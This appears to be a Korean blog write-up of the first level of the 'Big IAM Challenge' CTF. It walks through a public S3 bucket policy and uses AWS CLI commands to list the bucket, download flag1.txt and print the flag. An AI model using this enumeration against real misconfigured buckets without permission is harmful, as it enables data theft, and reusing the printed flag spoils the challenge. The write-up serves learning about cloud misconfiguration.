[AWS] BIG IAM Challenge 01 Write-UP

marceline·2025년 1월 6일
0

[Cloud]

목록 보기
3/7
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"

해당 부분을 보면, policy 가 s3 버킷과 관련되어 있다는 것을 알 수 있다.

또한, 첫번째 권한에서 /* .
즉, 모든 객체에 대해 모든 사용자가 GetObject (읽기) 작업 가능한 상황이다.

→ 따라서 요약하자면, 해당 버킷 내 모든 파일들이 다운로드 가능한 상황이다.

"Condition": {
        "StringLike": {
            "s3:prefix": "files/*"
        }

두번째 권한에서는 files/ 로 시작하는 경로에 한해서 ListBucket (객체 목록 조회) 작업이 가능한 것을 알 수 있다.

> aws sts get-caller-identity
{
    "UserId": "AROAZSFITKRSYE6ELQP2Q:iam_shell",
    "Account": "657483584613",
    "Arn": "arn:aws:sts::657483584613:assumed-role/shell_basic_iam/iam_shell"
}

aws sts get-caller-identity 명령어로 현재 AWS CLI 사용자 세션의 ID, 권한정보를 반환하게끔 할 수 있다.

따라서 현재 세션이 어떤 AWS 계정과 IAM role 로 실행되고 있는지 확인가능하다.
결과적으로 rolename, session name 등등을 얻을 수 있었다.

즉, role name == shell_basic_iam

session name == iam_shell

  • Tip aws iam get-role --role-name shell_basic_iam 을 통해서 iam_shell 이 어떤 권한가지고 있는지 알 수 있음 (지금은 GetRole action 정의 안되어있어서 못쓸듯)

앞서 말한 두가지 조건을 만족하게끔 명령어 사용하여 S3 버킷 객체 나열했다. (파일형태)

> aws s3 ls s3://thebigiamchallenge-storage-9979f4b/files/
2023-06-05 19:13:53         37 flag1.txt
2023-06-08 19:18:24      81889 logo.png

aws s3 cp s3:://thebigiamchallenge-storage-9979f4b/files/flag1.txt ./myflag1.txt

해당 명령어를 통해서 플래그 텍스트 파일을 myflag1.txt 에 복사하여 열람할 수 있을 듯 하다.

  • s3::: (ARN), s3:// (protocol) 차이 s3::: Amazon Resource Name (ARN) 형식 AWS 에서 리소스 식별하는 표준 방식 s3:// AWS CLI 에서는 s3 버킷과 객체 조작 시 프로토콜 방식으로 사용함
> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt ./myflag1.txt
download failed: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./myflag1.txt [E
rrno 30] Read-only file system: '/var/task/myflag1.txt.1CbF67FD'
Completed 37 Bytes/37 Bytes (331 Bytes/s) with 1 file(s) remaining
  • 왜 error ? Read-only file system: 현재 파일을 저장하려는 경로(./, 실제로는 /var/task/)가 읽기 전용으로 설정되어 있어 파일을 쓸 수 없음 쓰기권한이 있는 다른 경로로 시도해야할 듯.

/tmp 로 재시도

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/myflag1.txt
Completed 37 Bytes/37 Bytes (663 Bytes/s) with 1 file(s) remainingdownload: s3://thebigiamcha
llenge-storage-9979f4b/files/flag1.txt to ../../tmp/myflag1.txt

cat /tmp/myflag1.txt

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt /tmp/myflag1.txt
Completed 37 Bytes/37 Bytes (493 Bytes/s) with 1 file(s) remainingdownload: s3://thebigiamcha
llenge-storage-9979f4b/files/flag1.txt to ../../tmp/myflag1.txt

> ls -l /tmp/myflag1.txt
-rw-rw-r-- 1 sbx_user1051 990 37 Jun  5  2023 /tmp/myflag1.txt
> cat /tmp/myflag1.txt
{wiz:exposed-storage-risky-as-usual}

flag는 아래와 같다.

{wiz:exposed-storage-risky-as-usual}

0개의 댓글